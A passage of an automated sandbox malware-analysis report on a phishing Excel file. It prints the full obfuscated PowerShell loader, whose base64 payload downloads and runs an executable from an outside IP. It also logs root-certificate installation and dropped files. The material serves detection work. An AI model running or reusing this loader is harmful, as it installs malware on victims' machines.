QXJULXNMZUVwKDMpO3NUQVJUICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICIkRW5WOkFQUERBVEFcd2luaXRpLmV4ZSI='+[CHAr]34+'))')))"	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process created: "C:\Windows\system32\cmd.exe" "/c POWERsHElL.exe -ex BypAss -nop -w 1 -c DEViCEcReDEnTiaLdEPLOYmEnT ; IEx($(Iex('[SysTem.tEXt.ENCoDINg]'+[CHar]0x3A+[ChaR]58+'Utf8.GEtStRING([sYSTem.COnverT]'+[CHAr]0X3A+[CHAr]0x3A+'fRoMbASe64strinG('+[Char]34+'JDF6SUdOc3cgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBhZEQtdFlwRSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtbUVNYmVyZGVmaU5JVElvbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAnW0RsbEltcG9ydCgidXJsbW9uIiwgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQ2hhclNldCA9IENoYXJTZXQuVW5pY29kZSldcHVibGljIHN0YXRpYyBleHRlcm4gSW50UHRyIFVSTERvd25sb2FkVG9GaWxlKEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICByTVh2eVRsVnFGLHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBvLHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBQQ2csdWludCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBrRnZHWHFFdGdOLEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBIeCk7JyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtTkFNRSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiZGIiICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1OQW1lU3BhY2UgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgeUFqVFB0cCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtUGFzc1RocnU7ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICQxeklHTnN3OjpVUkxEb3dubG9hZFRvRmlsZSgwLCJodHRwOi8vMTA3LjE3My4xNDMuNDYvVDI1MDdGL2NzcnNzLmV4ZSIsIiRFbnY6QVBQREFUQVx3aW5pdGkuZXhlIiwwLDApO1N0QXJULXNMZUVwKDMpO3NUQVJUICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICIkRW5WOkFQUERBVEFcd2luaXRpLmV4ZSI='+[CHAr]34+'))')))"	Jump to behavior

Suspicious powershell command line found

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe POWERsHElL.exe -ex BypAss -nop -w 1 -c DEViCEcReDEnTiaLdEPLOYmEnT ; IEx($(Iex('[SysTem.tEXt.ENCoDINg]'+[CHar]0x3A+[ChaR]58+'Utf8.GEtStRING([sYSTem.COnverT]'+[CHAr]0X3A+[CHAr]0x3A+'fRoMbASe64strinG('+[Char]34+'JDF6SUdOc3cgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBhZEQtdFlwRSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtbUVNYmVyZGVmaU5JVElvbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAnW0RsbEltcG9ydCgidXJsbW9uIiwgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQ2hhclNldCA9IENoYXJTZXQuVW5pY29kZSldcHVibGljIHN0YXRpYyBleHRlcm4gSW50UHRyIFVSTERvd25sb2FkVG9GaWxlKEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICByTVh2eVRsVnFGLHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBvLHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBQQ2csdWludCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBrRnZHWHFFdGdOLEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBIeCk7JyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtTkFNRSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiZGIiICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1OQW1lU3BhY2UgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgeUFqVFB0cCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtUGFzc1RocnU7ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICQxeklHTnN3OjpVUkxEb3dubG9hZFRvRmlsZSgwLCJodHRwOi8vMTA3LjE3My4xNDMuNDYvVDI1MDdGL2NzcnNzLmV4ZSIsIiRFbnY6QVBQREFUQVx3aW5pdGkuZXhlIiwwLDApO1N0QXJULXNMZUVwKDMpO3NUQVJUICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICIkRW5WOkFQUERBVEFcd2luaXRpLmV4ZSI='+[CHAr]34+'))')))"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe POWERsHElL.exe -ex BypAss -nop -w 1 -c DEViCEcReDEnTiaLdEPLOYmEnT ; IEx($(Iex('[SysTem.tEXt.ENCoDINg]'+[CHar]0x3A+[ChaR]58+'Utf8.GEtStRING([sYSTem.COnverT]'+[CHAr]0X3A+[CHAr]0x3A+'fRoMbASe64strinG('+[Char]34+'JDF6SUdOc3cgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBhZEQtdFlwRSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtbUVNYmVyZGVmaU5JVElvbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAnW0RsbEltcG9ydCgidXJsbW9uIiwgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQ2hhclNldCA9IENoYXJTZXQuVW5pY29kZSldcHVibGljIHN0YXRpYyBleHRlcm4gSW50UHRyIFVSTERvd25sb2FkVG9GaWxlKEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICByTVh2eVRsVnFGLHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBvLHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBQQ2csdWludCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBrRnZHWHFFdGdOLEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBIeCk7JyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtTkFNRSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiZGIiICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1OQW1lU3BhY2UgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgeUFqVFB0cCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtUGFzc1RocnU7ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICQxeklHTnN3OjpVUkxEb3dubG9hZFRvRmlsZSgwLCJodHRwOi8vMTA3LjE3My4xNDMuNDYvVDI1MDdGL2NzcnNzLmV4ZSIsIiRFbnY6QVBQREFUQVx3aW5pdGkuZXhlIiwwLDApO1N0QXJULXNMZUVwKDMpO3NUQVJUICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICIkRW5WOkFQUERBVEFcd2luaXRpLmV4ZSI='+[CHAr]34+'))')))"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe POWERsHElL.exe -ex BypAss -nop -w 1 -c DEViCEcReDEnTiaLdEPLOYmEnT ; IEx($(Iex('[SysTem.tEXt.ENCoDINg]'+[CHar]0x3A+[ChaR]58+'Utf8.GEtStRING([sYSTem.COnverT]'+[CHAr]0X3A+[CHAr]0x3A+'fRoMbASe64strinG('+[Char]34+'JDF6SUdOc3cgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBhZEQtdFlwRSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtbUVNYmVyZGVmaU5JVElvbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAnW0RsbEltcG9ydCgidXJsbW9uIiwgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQ2hhclNldCA9IENoYXJTZXQuVW5pY29kZSldcHVibGljIHN0YXRpYyBleHRlcm4gSW50UHRyIFVSTERvd25sb2FkVG9GaWxlKEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICByTVh2eVRsVnFGLHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBvLHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBQQ2csdWludCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBrRnZHWHFFdGdOLEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBIeCk7JyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtTkFNRSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiZGIiICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1OQW1lU3BhY2UgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgeUFqVFB0cCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtUGFzc1RocnU7ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICQxeklHTnN3OjpVUkxEb3dubG9hZFRvRmlsZSgwLCJodHRwOi8vMTA3LjE3My4xNDMuNDYvVDI1MDdGL2NzcnNzLmV4ZSIsIiRFbnY6QVBQREFUQVx3aW5pdGkuZXhlIiwwLDApO1N0QXJULXNMZUVwKDMpO3NUQVJUICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICIkRW5WOkFQUERBVEFcd2luaXRpLmV4ZSI='+[CHAr]34+'))')))"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe POWERsHElL.exe -ex BypAss -nop -w 1 -c DEViCEcReDEnTiaLdEPLOYmEnT ; IEx($(Iex('[SysTem.tEXt.ENCoDINg]'+[CHar]0x3A+[ChaR]58+'Utf8.GEtStRING([sYSTem.COnverT]'+[CHAr]0X3A+[CHAr]0x3A+'fRoMbASe64strinG('+[Char]34+'JDF6SUdOc3cgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBhZEQtdFlwRSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtbUVNYmVyZGVmaU5JVElvbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAnW0RsbEltcG9ydCgidXJsbW9uIiwgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQ2hhclNldCA9IENoYXJTZXQuVW5pY29kZSldcHVibGljIHN0YXRpYyBleHRlcm4gSW50UHRyIFVSTERvd25sb2FkVG9GaWxlKEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICByTVh2eVRsVnFGLHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBvLHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBQQ2csdWludCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBrRnZHWHFFdGdOLEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBIeCk7JyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtTkFNRSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiZGIiICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1OQW1lU3BhY2UgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgeUFqVFB0cCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtUGFzc1RocnU7ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICQxeklHTnN3OjpVUkxEb3dubG9hZFRvRmlsZSgwLCJodHRwOi8vMTA3LjE3My4xNDMuNDYvVDI1MDdGL2NzcnNzLmV4ZSIsIiRFbnY6QVBQREFUQVx3aW5pdGkuZXhlIiwwLDApO1N0QXJULXNMZUVwKDMpO3NUQVJUICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICIkRW5WOkFQUERBVEFcd2luaXRpLmV4ZSI='+[CHAr]34+'))')))"

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\ofvwqfjd\ofvwqfjd.cmdline"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\ge3s1wmx\ge3s1wmx.cmdline"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\ofvwqfjd\ofvwqfjd.cmdline"	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\ge3s1wmx\ge3s1wmx.cmdline"

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe

Code function: 25_2_0041CB50 LoadLibraryA,LoadLibraryA,GetProcAddress,GetProcAddress,GetModuleHandleA,GetModuleHandleA,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,LoadLibraryA,GetProcAddress,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,

25_2_0041CB50

Source: csrss[1].exe.7.dr	Static PE information: section name: .managed
Source: csrss[1].exe.7.dr	Static PE information: section name: hydrated
Source: winiti.exe.7.dr	Static PE information: section name: .managed
Source: winiti.exe.7.dr	Static PE information: section name: hydrated

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 7_2_000007FE899F022D push eax; iretd	7_2_000007FE899F0241
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 7_2_000007FE899F00BD pushad ; iretd	7_2_000007FE899F00C1
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 25_2_00457106 push ecx; ret	25_2_00457119
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 25_2_0045B11A push esp; ret	25_2_0045B141
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 25_2_0045E54D push esi; ret	25_2_0045E556
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 25_2_00457A28 push eax; ret	25_2_00457A46
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 25_2_00434E56 push ecx; ret	25_2_00434E69

Persistence and Installation Behavior

AI detected suspicious Excel or Word document

Source: Office document

LLM: Score: 9 Reasons: The screenshot contains a visually prominent Microsoft Office logo and text stating 'This document is protected,' which can mislead users into thinking it is a legitimate document. The instructions provided create a sense of urgency by stating 'Open the document in Microsoft Office' and 'If this document was downloaded from your email, please click Enable Editing from the yellow bar above.' This language is designed to prompt immediate action. The use of a well-known brand (Microsoft Office) adds to the credibility of the document, increasing the likelihood of users following the instructions without suspicion. The sense of urgency is directly connected to the prominent instructions, making it highly likely that the document is designed to deceive users into enabling potentially harmful content.

Installs new ROOT certificates

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Registry value created: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\3F728A35DE52B2C8994A4FB101A03B95E87B06C8 Blob	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Registry value created: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\12891DF7B048CD69D0196C8AD7A754C8A812A08C Blob	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Registry value created: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\3F728A35DE52B2C8994A4FB101A03B95E87B06C8 Blob	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Registry value created: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\12891DF7B048CD69D0196C8AD7A754C8A812A08C Blob	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Registry value created: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\3F728A35DE52B2C8994A4FB101A03B95E87B06C8 Blob	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Registry value created: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\12891DF7B048CD69D0196C8AD7A754C8A812A08C Blob	Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe

Code function: 25_2_00406EB0 ShellExecuteW,URLDownloadToFileW,

25_2_00406EB0

Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	File created: C:\Users\user\AppData\Local\Temp\ofvwqfjd\ofvwqfjd.dll	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\XNHC0JWC\csrss[1].exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	File created: C:\Users\user\AppData\Local\Temp\ge3s1wmx\ge3s1wmx.dll	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Roaming\winiti.exe	Jump to dropped file

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe

Code function: 25_2_0041AA4A OpenSCManagerW,OpenServiceW,CloseServiceHandle,StartServiceW,CloseServiceHandle,CloseServiceHandle,CloseServiceHandle,

25_2_0041AA4A

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe

25_2_0041CB50

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
